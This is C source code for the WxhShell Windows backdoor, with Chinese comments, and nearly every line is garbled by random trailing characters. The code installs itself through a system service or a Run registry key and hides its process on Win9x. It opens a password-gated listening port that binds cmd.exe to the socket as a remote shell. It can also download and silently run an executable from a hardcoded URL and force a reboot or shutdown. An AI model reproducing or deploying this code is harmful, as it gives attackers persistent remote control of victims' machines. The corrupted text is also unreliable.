    break; nJrV  
    } bD=_44I  
  // 关机 QRx'BY$5  
  case 'd': { I/fERnHM/+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <` HLG2  
    if(Boot(SHUTDOWN)) 'j>Q7M7q{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )0!hw|0|  
    else { _bFX(~37z?  
    closesocket(wsh); S__+S7]Nr  
    ExitThread(0); XYf;72*  
    } ?f:FmgQk  
    break; _^Rf*G!  
    } 3xbA]u;gp  
  // 获取shell )4"G1R`3  
  case 's': { D{\hPv  
    CmdShell(wsh); jR*1%.Ng  
    closesocket(wsh); v;irk<5  
    ExitThread(0); P 3);R>j  
    break; km.xy_v  
  } !%sj-RMvG  
  // 退出 X`[or:cB  
  case 'x': { k'EP->r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z-Zox-I1}-  
    CloseIt(wsh); L7C!rS  
    break; !c'a<{d@  
    } k(!#^Mlz[  
  // 离开 -k")#1  
  case 'q': { cl)%qIXj}H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,}F{V>dhn  
    closesocket(wsh);   /zM  
    WSACleanup(); nTp?  
    exit(1); r>A, 7{  
    break;  KGFmC[  
        } >4b-NS/}0  
  } V(w2k^7) F  
  } }D{y u+)  
|-=^5q5  
  // 提示信息 dKi+~m'w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HS>Z6|uLY  
} 2wpLP^9Vr<  
  } D'c, z[  
szGp<xv_p  
  return; e\tcP  
} mi6<;N 2w|  
cea%M3  
// shell模块句柄 8?J\  
int CmdShell(SOCKET sock) yIOoVi\m  
{ ?3k;Yg/  
STARTUPINFO si; QzCu$ [  
ZeroMemory(&si,sizeof(si));  ze{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g;D [XBp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >a5CW~Z]  
PROCESS_INFORMATION ProcessInfo; BbnY9"  
char cmdline[]="cmd"; 4F^(3RKZ|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +'x|VPY.PG  
  return 0; ZQZ>{K  
} xOp8[6Ga'  
rs`H':a/  
// 自身启动模式 f@]4udc e  
int StartFromService(void) 'OK)[\  
{ t9;yyZh  
typedef struct %\Z{~(&-v  
{ uF/l,[0v  
  DWORD ExitStatus; #EgFB}>1  
  DWORD PebBaseAddress; @OV\raUO&V  
  DWORD AffinityMask; 9Qst5n\Z  
  DWORD BasePriority; Kp!sn,:  
  ULONG UniqueProcessId; UPfH~H[1)  
  ULONG InheritedFromUniqueProcessId; eZ8~t/8  
}   PROCESS_BASIC_INFORMATION; i*_T\_=  
t n>$5}^;  
PROCNTQSIP NtQueryInformationProcess; ]*'V#;s  
NffZttN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {|9x*I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q$Gf9&ZO  
MR}GxI  
  HANDLE             hProcess; NnRR"'  
  PROCESS_BASIC_INFORMATION pbi; )`, Bt  
ou0(C `  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +vY8HQ|v  
  if(NULL == hInst ) return 0; ]X ,f  
R/VrBiw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TyI"fP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }'U "HHv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /J")S?. [u  
WPPz/c|j  
  if (!NtQueryInformationProcess) return 0; MdV-;uf  
}\!&3^I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $<xa "aN!  
  if(!hProcess) return 0; vc0'x4  
9TuE.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G|*^W;(Z  
HN9!~G  
  CloseHandle(hProcess); fRS)YE@a:  
p(-f$Q(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IxNY%&* `  
if(hProcess==NULL) return 0; n}Pz:  
h&|q>M3  
HMODULE hMod; %9cu(yc*}  
char procName[255]; 8q58H[/c  
unsigned long cbNeeded; (U#4j 6Q  
(,z0V+ !  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = Bz yI  
G}<%%U D  
  CloseHandle(hProcess); 3GqvL_  
U bUl]  
if(strstr(procName,"services")) return 1; // 以服务启动 ? BtWM4Id8  
!Bcd\]q  
  return 0; // 注册表启动 w 4-E@>%  
} G$kspN*"A  
2Z!%Q}Do  
// 主模块 ,1J+3ugp&  
int StartWxhshell(LPSTR lpCmdLine) vN'Y);$  
{ ?0QoYA@.$  
  SOCKET wsl; wcDHx#~  
BOOL val=TRUE; )`<- c2  
  int port=0; )L fXb9}  
  struct sockaddr_in door; %%5K%z,R#  
+o^b ,!  
  if(wscfg.ws_autoins) Install(); u2%/</]h  
MY1s  
port=atoi(lpCmdLine); XaOq&7  
ig(dGKD\=9  
if(port<=0) port=wscfg.ws_port; /G[; kR"  
j5QS/3  
  WSADATA data; RR R'azT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O%?noW  
%<8@NbF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sz}YX R=m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DG1C_hu i  
  door.sin_family = AF_INET; & c a-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ozv:$>v@"  
  door.sin_port = htons(port); vF,\{sgW  
B]jN~CO?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WB~ ^R<g  
closesocket(wsl); ,QU2xw D[  
return 1; S^ ij%  
} ZtG5vdf  
94Wf ]  
  if(listen(wsl,2) == INVALID_SOCKET) { rN* , U\q  
closesocket(wsl); H%2Y8}  
return 1; aM/sD=}  
} B^`'2$3  
  Wxhshell(wsl); jF4h/((|EU  
  WSACleanup(); H]>b<Cs  
z@5t7e)!R  
return 0; (9R;a np  
~{MmUp rS  
} u7R:7$H  
pI*/ - !I  
// 以NT服务方式启动 c}(fmJB&(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,2hZtJ<A  
{ mNUc g{ +/  
DWORD   status = 0; (5AgI7I,  
  DWORD   specificError = 0xfffffff; aI @&x  
TXx%\V_6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B]jI^( P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >:7W.QLRU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `72 uf<YQ  
  serviceStatus.dwWin32ExitCode     = 0; v}w=I}<x  
  serviceStatus.dwServiceSpecificExitCode = 0; J<8~w; i  
  serviceStatus.dwCheckPoint       = 0; 7/^`y')  
  serviceStatus.dwWaitHint       = 0; M`{x*qR  
p%Zx<=f-_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I[b@U<\  
  if (hServiceStatusHandle==0) return; TK"!z(p  
r2,AZ+4FP  
status = GetLastError(); Sg$14B  
  if (status!=NO_ERROR) !B 36+W+  
{ ]u~6fknm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6uWzv~!*D  
    serviceStatus.dwCheckPoint       = 0; -8F~Tffx  
    serviceStatus.dwWaitHint       = 0; nFE0y3GD8  
    serviceStatus.dwWin32ExitCode     = status; Sw!/ I PO  
    serviceStatus.dwServiceSpecificExitCode = specificError; hN% h.;s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#lx&J.s  
    return; Nc4e,>$]&  
  } ?FC6NEu}8  
=l%"Om*A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZT@a2:&  
  serviceStatus.dwCheckPoint       = 0; "b6ZAgxv  
  serviceStatus.dwWaitHint       = 0; {-X8MisI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P=ARttT`(  
} %DJxUuh  
\dpsyc  
// 处理NT服务事件,比如:启动、停止 40VdT|n$$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tg%U 2+.q  
{ Y>eypfK"  
switch(fdwControl) K]q9wR'q  
{ _VIVZ2mU=  
case SERVICE_CONTROL_STOP: ep]tio_  
  serviceStatus.dwWin32ExitCode = 0; )2c[]d /a4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mk-C&#'  
  serviceStatus.dwCheckPoint   = 0; "+^d.13+]  
  serviceStatus.dwWaitHint     = 0; JvFU7`4@  
  { i,G )kt'H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &W1{o&  
  } 9p,<<5{  
  return; v&CKtk!3{  
case SERVICE_CONTROL_PAUSE: T?=[6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F[ca4_lK  
  break; RU`m|<  
case SERVICE_CONTROL_CONTINUE: ~ ;aSE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; neC]\B[Xm  
  break; e<|'   
case SERVICE_CONTROL_INTERROGATE: enu",wC3  
  break; T""y)%  
}; E&G_7->  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5x/q\p-{/  
} Q+4xU  
E3N4(V\*  
// 标准应用程序主函数 HRF4 Ro  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #^IEQZgH  
{ 9HI9([Cs  
wA`A+Z2*?  
// 获取操作系统版本 Dim,HPx]d  
OsIsNt=GetOsVer(); "Q*Z?6[Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hM*T{|y  
L@rKG~{Xy  
  // 从命令行安装 aO@zeKg  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0-dhGh?.  
m .2)P~a  
  // 下载执行文件 G $u:1&   
if(wscfg.ws_downexe) { maANxSzi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !" E&Tk}  
  WinExec(wscfg.ws_filenam,SW_HIDE); g+ `Ie'o<  
} Zxw>|eKI>D  
_"`wUMee  
if(!OsIsNt) { 54 8w v  
// 如果时win9x,隐藏进程并且设置为注册表启动 HaeF`gI^Ee  
HideProc(); >c~~i-=  
StartWxhshell(lpCmdLine); =U3,P%  
} J[<3Je=>$  
else ^=)? a;V  
  if(StartFromService()) ,wmPK;j  
  // 以服务方式启动 `m5cU*@D  
  StartServiceCtrlDispatcher(DispatchTable); htg+V-,  
else LyA=(h6  
  // 普通方式启动 l'N>9~f  
  StartWxhshell(lpCmdLine); UQz8":#V  
m{gK<T  
return 0; 8a{FxCBw  
} i3 k ',8  
k07JMS?  
bA#E8dlC_  
1{+Ni{  
=========================================== hB:R8Y^?H  
Fs:l"5~>1  
kKVq,41'  
F' ZLN]"{  
1'EMYQ  
n?@o:c5,r  
" 1N< )lZl)  
d87pQ3e:&  
#include <stdio.h> lkp!S3,  
#include <string.h> )_EQU8D4ug  
#include <windows.h> `xbk)oW#  
#include <winsock2.h> EAFKf*K=  
#include <winsvc.h> w&;\}IS  
#include <urlmon.h> Ov%9S/d  
,<zZKR_  
#pragma comment (lib, "Ws2_32.lib") ja2LQe@ Q  
#pragma comment (lib, "urlmon.lib") GpF,=:  
>fo &H_a  
#define MAX_USER   100 // 最大客户端连接数 d; @Kz^  
#define BUF_SOCK   200 // sock buffer 9a)D8  
#define KEY_BUFF   255 // 输入 buffer Db yy H_  
_p{ag 1gP  
#define REBOOT     0   // 重启 />\.zuAr&  
#define SHUTDOWN   1   // 关机 J.":oD  
 6" 3!9JC  
#define DEF_PORT   5000 // 监听端口 HkxFDU-K  
;,*U,eV  
#define REG_LEN     16   // 注册表键长度 B!< {s'  
#define SVC_LEN     80   // NT服务名长度 -'k<2"z  
nngL,-v#F  
// 从dll定义API L~ V 63K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DC*|tHl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7 pg8kq@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D4[5}NYU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~C=`yj  
8%7H F:  
// wxhshell配置信息 n<yV]i$  
struct WSCFG { TO[5h Y\  
  int ws_port;         // 监听端口 wSIt"g,%  
  char ws_passstr[REG_LEN]; // 口令 NLb/Bja  
  int ws_autoins;       // 安装标记, 1=yes 0=no D'O[0?N"g  
  char ws_regname[REG_LEN]; // 注册表键名 z[qM2  
  char ws_svcname[REG_LEN]; // 服务名 hFa\x5I5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @]*z!>1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /]]\jj#^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1; L!g*!E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #=t:xEz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iG!MIt*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $yaE!.Kc  
@c$mc  
}; e5fJN)+a  
T:cSv @G  
// default Wxhshell configuration 9L:v$4{LU  
struct WSCFG wscfg={DEF_PORT, e~rBV+f  
    "xuhuanlingzhe", uK(+WA  
    1, & PHHacp  
    "Wxhshell", E_?3<)l)RI  
    "Wxhshell", ]RnX'yw^  
            "WxhShell Service", XA9$n_| bw  
    "Wrsky Windows CmdShell Service", +}4vdi"  
    "Please Input Your Password: ", ,O a)  
  1, @uY%;%Pa8  
  "http://www.wrsky.com/wxhshell.exe", M~N'z /  
  "Wxhshell.exe" pS%,wjb&P  
    }; )Y?H f2']  
Xg!Mc<wA[  
// 消息定义模块 @ n;WVG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~n"V0!:'4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a3Es7R+S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; shn`>=0.&  
char *msg_ws_ext="\n\rExit."; FG#E?G  
char *msg_ws_end="\n\rQuit."; 5+%BZ  
char *msg_ws_boot="\n\rReboot..."; zCvR/  
char *msg_ws_poff="\n\rShutdown..."; m/Yi;>I(  
char *msg_ws_down="\n\rSave to "; 'zT/ x`V  
GUat~[lUrj  
char *msg_ws_err="\n\rErr!"; |Z 3POD"9  
char *msg_ws_ok="\n\rOK!"; 8agd{bxU  
AW> P\>{RE  
char ExeFile[MAX_PATH]; NV9=~c x  
int nUser = 0; C UBcU  
HANDLE handles[MAX_USER]; *+p'CfsSka  
int OsIsNt; d2X#_(+d  
V=(4 c  
SERVICE_STATUS       serviceStatus; 7Ox vq^[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %t+V8A  
:sT<<LtI-  
// 函数声明 VdK-2O(.-  
int Install(void); o'Tqqrr  
int Uninstall(void); ` S85i*  
int DownloadFile(char *sURL, SOCKET wsh); mg >oB/,'Z  
int Boot(int flag); zP=J5qOZ8  
void HideProc(void); vgE5(fJh  
int GetOsVer(void); _\o +9X!  
int Wxhshell(SOCKET wsl); @Gn9x(?J  
void TalkWithClient(void *cs); 9MM4C  
int CmdShell(SOCKET sock); $a5K  
int StartFromService(void); U7x}p^B9\N  
int StartWxhshell(LPSTR lpCmdLine); G2L7_?/m  
a.8nWs^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i@B5B2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a+]=3o  
 ITbl%q  
// 数据结构和表定义 }P}l4k1W  
SERVICE_TABLE_ENTRY DispatchTable[] = p3x(:=   
{ ?6j@EJ<2q  
{wscfg.ws_svcname, NTServiceMain}, $g|g}>Sc  
{NULL, NULL} 1YnDho;~  
}; IHagRldG  
W=)}=^N0  
// 自我安装 m5d;lrk@&/  
int Install(void) tO~H/0  
{ M6?Qw=  
  char svExeFile[MAX_PATH]; @RaMO#  
  HKEY key; wp*;F#:G  
  strcpy(svExeFile,ExeFile); SZwfYY!ft0  
0W=IuPDU  
// 如果是win9x系统,修改注册表设为自启动 kV<VhBql!  
if(!OsIsNt) { f$WO{ J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CtSAo\F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V l9\&EL  
  RegCloseKey(key); e[e2X<&0RT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &aHj;Z(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HmX (= Y  
  RegCloseKey(key); iwmXgsRa9}  
  return 0; ]i$CE|~  
    } EKoCm)}d  
  } q(uu;l[  
}  'Z&A5\~  
else { N+}yw4lb  
3rR(>}:[V  
// 如果是NT以上系统,安装为系统服务 2,_BO6 !d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n!tCz<v  
if (schSCManager!=0) {h@R\bU  
{ Q6vkqu5!=  
  SC_HANDLE schService = CreateService 5Vvy:<.la  
  ( ,:z@Ji  
  schSCManager, s@3!G+ -}  
  wscfg.ws_svcname, sHEISNj/^  
  wscfg.ws_svcdisp, d0N7aacY  
  SERVICE_ALL_ACCESS, sk],_l<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C2`END;  
  SERVICE_AUTO_START, eN jC.w9  
  SERVICE_ERROR_NORMAL, 'x6Mqv1W  
  svExeFile, "ht2X w  
  NULL, 7x1jpQ -  
  NULL, zxsnrn;|  
  NULL, \< z{ @  
  NULL, ]q?<fEG2<  
  NULL {=R=\Y?r&  
  ); t~bjDV^`  
  if (schService!=0) \{~x<<qFd  
  { m*I5 \  
  CloseServiceHandle(schService); a{u)~:/G  
  CloseServiceHandle(schSCManager); w93yhV?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DsFrA]  
  strcat(svExeFile,wscfg.ws_svcname); =n#xnZ3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m Y%PG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lv8tS-  
  RegCloseKey(key); bo@1c0  
  return 0; (nV/-#*  
    } '{Ywb@Bc  
  } ex29rL3  
  CloseServiceHandle(schSCManager); 0Z@u6{Z9R  
} b1s1;8Q  
} 6w@l#p  
9h9Y:i*Gh5  
return 1; #~ >0Dr  
} ?.~@lE  
3[Z?`X  
// 自我卸载 / ?Q@Pn  
int Uninstall(void) U1&m-K  
{ AalyEn&>  
  HKEY key; pWQ?pTh  
q=6M3OnS>  
if(!OsIsNt) { duwZe+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Li7/pUq>}!  
  RegDeleteValue(key,wscfg.ws_regname); {cG&l:-r  
  RegCloseKey(key); `Y'}\>.#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `@Qq<T}V  
  RegDeleteValue(key,wscfg.ws_regname); 7W 4[1  
  RegCloseKey(key); .-<o[(s  
  return 0; 7ZJYT#>b  
  } G2em>W_n  
} ;%Z)$+Z_)<  
} 3:76x  
else { EJN}$|*Av  
q`qbaX\J3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =NlAGzv!w  
if (schSCManager!=0) iXXgPapz  
{ PY) 74sa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .+ _x|?'  
  if (schService!=0) xe_c`%_  
  { %)]{*#N4  
  if(DeleteService(schService)!=0) { 7MBz&wE^f  
  CloseServiceHandle(schService);  H'2pmwk  
  CloseServiceHandle(schSCManager); $e0sa=/  
  return 0; r_ Xk:  
  } t&-7AjS5  
  CloseServiceHandle(schService); [,l BY-Kz+  
  } y5oiH  
  CloseServiceHandle(schSCManager); MF>?! !  
} hGzj}t W8d  
} H!7/U_AH  
R{Cj]:Ky  
return 1; C !uwD  
} XFH7jHnL+U  
,Y}HP3  
// 从指定url下载文件 %/~Sq?f-9@  
int DownloadFile(char *sURL, SOCKET wsh) &Tl3\T0D  
{ ;B!&( 50e  
  HRESULT hr; z+Y0Zh";/#  
char seps[]= "/"; +AXui|mn  
char *token; ]BX|G`CCc  
char *file; 7TlOF  
char myURL[MAX_PATH];  Q L  
char myFILE[MAX_PATH]; @0+@.&Z  
3M/kfy  
strcpy(myURL,sURL); ])vM# f  
  token=strtok(myURL,seps); z,$^|'pP  
  while(token!=NULL) ofRe4 *\j  
  { i?||R|>;"'  
    file=token; 5Vf#(r f  
  token=strtok(NULL,seps); 7)<&,BWc  
  } NouT~K`'  
Sh=z  
GetCurrentDirectory(MAX_PATH,myFILE); v-g2k_ o|  
strcat(myFILE, "\\"); lP0'Zg(  
strcat(myFILE, file); +.gZILw  
  send(wsh,myFILE,strlen(myFILE),0); /2 WGo-  
send(wsh,"...",3,0); ,uK }$l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $M#G;W5c  
  if(hr==S_OK) X8y&|uH  
return 0; 7oK!!Qd^w  
else PWmFY'=  
return 1; rVkRU5  
sF f@>  
} l g~Gkd6  
,n^{!^JW  
// 系统电源模块 "}(*Km5Po  
int Boot(int flag) eY;XF.mF  
{ :[,-wZiT~6  
  HANDLE hToken; D8G5,s-.  
  TOKEN_PRIVILEGES tkp; ;MR8E9  
3hGYNlQ^  
  if(OsIsNt) { (jtrQob  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;",W&HQbE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GK~uoz:^O  
    tkp.PrivilegeCount = 1; t#=W'HyW8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |+f@w/+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F7x]BeTM  
if(flag==REBOOT) { SwXVa/9a"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <D%.'=%pZ  
  return 0; PsaKzAg?  
} 5$d>:" >  
else { :tdN#m6&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #8i DM5:EQ  
  return 0; -QN1= G4  
} eD 4X:^@  
  } 58V`I5_  
  else { <Y:{>=  
if(flag==REBOOT) { r roI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e ^2n58  
  return 0; +Hgil  
} f; w\k7 #  
else { C6Lc   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =;ClOy9  
  return 0; i}[cq_wJ  
} j4k\5~yzS  
} gF# HNv  
Py y!B  
return 1; tp*.'p-SI  
} S6Y2(qdP  
T\?$7$/V  
// win9x进程隐藏模块 [;t-XC?[nk  
void HideProc(void) J2adG+=  
{ \| &KD  
kOdXbw9v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WPI<SsLd  
  if ( hKernel != NULL ) . |%n"{  
  { f$ 9O0,}%O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ``4e&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;x%"o[[>  
    FreeLibrary(hKernel); SO4?3wg7  
  } EM QGP<[  
\Kr8k`f  
return; 2*Zk^h=  
} _t&` T  
%e^GfZ  
// 获取操作系统版本 =gNPS 0H  
int GetOsVer(void) n&OM~Vs  
{ e`n+U-)z  
  OSVERSIONINFO winfo; _Z7`tUS-j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5.1z9[z  
  GetVersionEx(&winfo); <yl%q*gls  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z_93j3 #  
  return 1; ,2YZB*6h{  
  else ~=va<%{ U  
  return 0; ;NU-\<Q{  
} `6$|d,m5  
' _d4[Olu  
// 客户端句柄模块 5EU~T.4C<  
int Wxhshell(SOCKET wsl) 7UIf   
{ p<1y$=zS  
  SOCKET wsh; `+z^#3l  
  struct sockaddr_in client; A]Bf&+V  
  DWORD myID; Jvc:)I1NE7  
m ww<Xm'  
  while(nUser<MAX_USER) vAp<Muj(a  
{ <qg4Rz\c]  
  int nSize=sizeof(client); J 2<kOXXJ9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZDg(D"  
  if(wsh==INVALID_SOCKET) return 1; IjGPiC  
pHT]2e#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H-vHcqFx3  
if(handles[nUser]==0) 3xT9/8*  
  closesocket(wsh); .G.WPVE  
else '2GnAws^  
  nUser++; T/a=z  
  } 4-~Z{#-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vJLGy]  
c {/J.  
  return 0; > vdmN]  
} >H^#!eaqw  
gk6UV2nE?  
// 关闭 socket v3#,Z!  
void CloseIt(SOCKET wsh) 8Qo'[+4;  
{ fuzB;Ea  
closesocket(wsh); P q$0ih  
nUser--; ;$W HTO(  
ExitThread(0); Cb1w8l0  
} D"J',YN$  
 g5 T  
// 客户端请求句柄 ]?pQu'-(  
void TalkWithClient(void *cs) (`S^6 -^  
{ ia7<AwV  
9.8%Iw  
  SOCKET wsh=(SOCKET)cs; vfc:ok1  
  char pwd[SVC_LEN]; s3HVX'   
  char cmd[KEY_BUFF]; -8xf}v~u  
char chr[1]; |GtvgvO,  
int i,j; y{S8?$dU$:  
B*N1)J\5  
  while (nUser < MAX_USER) { y(o)} m*0  
p}^5ru  
if(wscfg.ws_passstr) { +? h}e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ];Z6=9n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GL=}Vu`(*  
  //ZeroMemory(pwd,KEY_BUFF); /M_$4O;*@  
      i=0; oQ 2$z8  
  while(i<SVC_LEN) { )rq |t9kix  
>~SS^I0  
  // 设置超时 ^cm ] [9  
  fd_set FdRead; ZUHRATT-  
  struct timeval TimeOut; 7~SwNt,  
  FD_ZERO(&FdRead); `PC9t)%.pV  
  FD_SET(wsh,&FdRead); F}5d>nw  
  TimeOut.tv_sec=8; 6Q^~O*cw  
  TimeOut.tv_usec=0; +{1.kb Zq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I|U'@E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CZ<T@k  
gxN>q4z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L-T,[;bl  
  pwd=chr[0]; DcW?L^Mst  
  if(chr[0]==0xd || chr[0]==0xa) { Ut;`6t  
  pwd=0; HwFX,?  
  break; cg.{oMwa  
  } VG);om7`PD  
  i++; |5bLV^mv]i  
    } Ttt'X<9  
u.|Z3=?VG  
  // 如果是非法用户,关闭 socket F!]Sr'UA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ot2o=^Ng  
} q.c)>=!.  
 Y !?'[t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W6&vyOc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G3~`]qf  
[ QiG0D_'=  
while(1) { H"#ITL  
yOq@w!xz  
  ZeroMemory(cmd,KEY_BUFF); wT4@X[5$  
$-iEcxsi  
      // 自动支持客户端 telnet标准   9af.t  
  j=0; <Dd>- K  
  while(j<KEY_BUFF) { +!/ATR%Uci  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5o#JHD  
  cmd[j]=chr[0]; 7l D-|yx  
  if(chr[0]==0xa || chr[0]==0xd) { `7CK;NeT  
  cmd[j]=0; [d: u(  
  break; Cf 2@x  
  } i"WYcF |  
  j++; *'?7OL  
    } +(W1x C0  
FJ:^pROpm  
  // 下载文件 w&q[%(G_  
  if(strstr(cmd,"http://")) { pk :P;\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WMSJU/-P  
  if(DownloadFile(cmd,wsh)) v1 .3gzR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CkT(\6B-  
  else XBQt:7[<  
